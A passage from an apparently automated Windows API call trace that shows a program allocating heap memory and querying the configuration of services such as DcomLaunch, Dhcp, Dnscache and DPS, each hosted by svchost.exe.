(HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84ba8) returned 1 [0027.977] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84c30) returned 1 [0027.977] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84c30 [0027.977] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84ba8 [0027.977] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84c30) returned 1 [0027.977] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84ba8) returned 1 [0027.977] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84ba8 [0027.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.977] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89d08 [0027.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c89d08, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.977] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89cc0 [0027.978] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89d08) returned 1 [0027.978] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89cc0) returned 1 [0027.978] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84ba8) returned 1 [0027.978] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89cc0 [0027.978] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84ba8 [0027.978] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84c30 [0027.978] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84cb8 [0027.978] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84d40 [0027.978] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84dc8 [0027.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0027.978] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89d08 [0027.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x1c89d08, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0027.978] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89d50 [0027.978] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89d08) returned 1 [0027.978] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89d50) returned 1 [0027.978] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84dc8) returned 1 [0027.978] OpenServiceW (hSCManager=0x286c38, lpServiceName="DcomLaunch", dwDesiredAccess=0x1) returned 0x286e18 [0027.978] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0027.978] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.979] GetLastError () returned 0x7a [0027.979] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x13c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.979] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84dc8 [0027.979] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84e50 [0027.979] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84dc8) returned 1 [0027.979] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84e50) returned 1 [0027.979] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84e50 [0027.979] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84dc8 [0027.979] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84e50) returned 1 [0027.979] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84dc8) returned 1 [0027.979] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84dc8 [0027.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.979] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89d50 [0027.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c89d50, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.979] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89d08 [0027.979] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89d50) returned 1 [0027.979] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89d08) returned 1 [0027.979] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84dc8) returned 1 [0027.979] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89d08 [0027.979] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84dc8 [0027.979] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84e50 [0027.979] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84ed8 [0027.979] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84f60 [0027.979] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84fe8 [0027.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0027.979] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89d50 [0027.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x1c89d50, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0027.979] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89d98 [0027.979] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89d50) returned 1 [0027.980] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89d98) returned 1 [0027.980] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84fe8) returned 1 [0027.980] OpenServiceW (hSCManager=0x286c38, lpServiceName="defragsvc", dwDesiredAccess=0x1) returned 0x286d00 [0027.980] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0027.980] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.980] GetLastError () returned 0x7a [0027.980] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x10a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.980] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84fe8 [0027.980] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85070 [0027.980] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84fe8) returned 1 [0027.980] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85070) returned 1 [0027.980] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85070 [0027.980] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84fe8 [0027.980] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85070) returned 1 [0027.980] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84fe8) returned 1 [0027.980] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84fe8 [0027.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.981] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89d98 [0027.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c89d98, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.981] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89d50 [0027.981] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89d98) returned 1 [0027.981] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89d50) returned 1 [0027.981] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84fe8) returned 1 [0027.981] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89d50 [0027.981] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84fe8 [0027.981] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85070 [0027.981] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85220 [0027.981] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c852a8 [0027.981] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85330 [0027.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0027.981] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89d98 [0027.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x1c89d98, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0027.981] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89de0 [0027.981] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89d98) returned 1 [0027.981] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89de0) returned 1 [0027.981] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85330) returned 1 [0027.981] OpenServiceW (hSCManager=0x286c38, lpServiceName="Dhcp", dwDesiredAccess=0x1) returned 0x286dc8 [0027.981] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0027.981] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.982] GetLastError () returned 0x7a [0027.982] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.982] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x100) returned 0x1c87208 [0027.982] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84fe8) returned 1 [0027.982] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84fe8 [0027.982] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85330 [0027.982] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84fe8) returned 1 [0027.982] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85330) returned 1 [0027.982] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85330 [0027.982] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c853b8 [0027.982] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85330) returned 1 [0027.982] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c853b8) returned 1 [0027.982] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c853b8 [0027.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.982] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89de0 [0027.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c89de0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.982] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89d98 [0027.982] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89de0) returned 1 [0027.982] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89d98) returned 1 [0027.982] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c853b8) returned 1 [0027.982] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89d98 [0027.982] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c853b8 [0027.982] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85330 [0027.982] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85440 [0027.982] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c854c8 [0027.982] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85550 [0027.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0027.982] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89de0 [0027.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x1c89de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0027.983] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89e28 [0027.983] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89de0) returned 1 [0027.983] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89e28) returned 1 [0027.983] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85550) returned 1 [0027.983] OpenServiceW (hSCManager=0x286c38, lpServiceName="Dnscache", dwDesiredAccess=0x1) returned 0x286d28 [0027.983] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0027.983] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.983] GetLastError () returned 0x7a [0027.983] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x130, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.983] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85550 [0027.983] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c855d8 [0027.983] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85550) returned 1 [0027.983] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c855d8) returned 1 [0027.983] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c855d8 [0027.983] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85550 [0027.984] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c855d8) returned 1 [0027.984] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85550) returned 1 [0027.984] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85550 [0027.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.984] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89e28 [0027.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c89e28, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.984] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89de0 [0027.984] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89e28) returned 1 [0027.984] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89de0) returned 1 [0027.984] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85550) returned 1 [0027.984] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89de0 [0027.984] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85550 [0027.984] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c855d8 [0027.984] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85660 [0027.984] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c856e8 [0027.984] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85770 [0027.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.984] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89e28 [0027.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x1c89e28, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0027.984] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c9d8 [0027.984] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89e28) returned 1 [0027.984] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c9d8) returned 1 [0027.984] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85770) returned 1 [0027.984] OpenServiceW (hSCManager=0x286c38, lpServiceName="dot3svc", dwDesiredAccess=0x1) returned 0x286e18 [0027.985] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0027.985] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.985] GetLastError () returned 0x7a [0027.985] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.985] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85770 [0027.985] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c857f8 [0027.985] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85770) returned 1 [0027.985] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c857f8) returned 1 [0027.985] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c857f8 [0027.985] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85770 [0027.985] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c857f8) returned 1 [0027.985] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85770) returned 1 [0027.985] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85770 [0027.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.985] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c9d8 [0027.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x233c9d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.985] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89e28 [0027.985] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c9d8) returned 1 [0027.985] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89e28) returned 1 [0027.985] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85770) returned 1 [0027.985] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89e28 [0027.986] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85770 [0027.986] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c857f8 [0027.986] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85880 [0027.986] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85908 [0027.986] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85990 [0027.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0027.986] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c9d8 [0027.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x233c9d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0027.986] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d17ec8 [0027.986] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c9d8) returned 1 [0027.986] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d17ec8) returned 1 [0027.986] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85990) returned 1 [0027.986] OpenServiceW (hSCManager=0x286c38, lpServiceName="DPS", dwDesiredAccess=0x1) returned 0x286d00 [0027.986] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0027.986] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.986] GetLastError () returned 0x7a [0027.986] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x144, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.987] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85990 [0027.987] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85a18 [0027.987] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85990) returned 1 [0027.987] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85a18) returned 1 [0027.987] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85a18 [0027.987] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85990 [0027.987] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85a18) returned 1 [0027.987] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85990) returned 1 [0027.987] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c85990 [0027.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.987] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c9d8 [0027.987] WideCharToMultiByte (in: 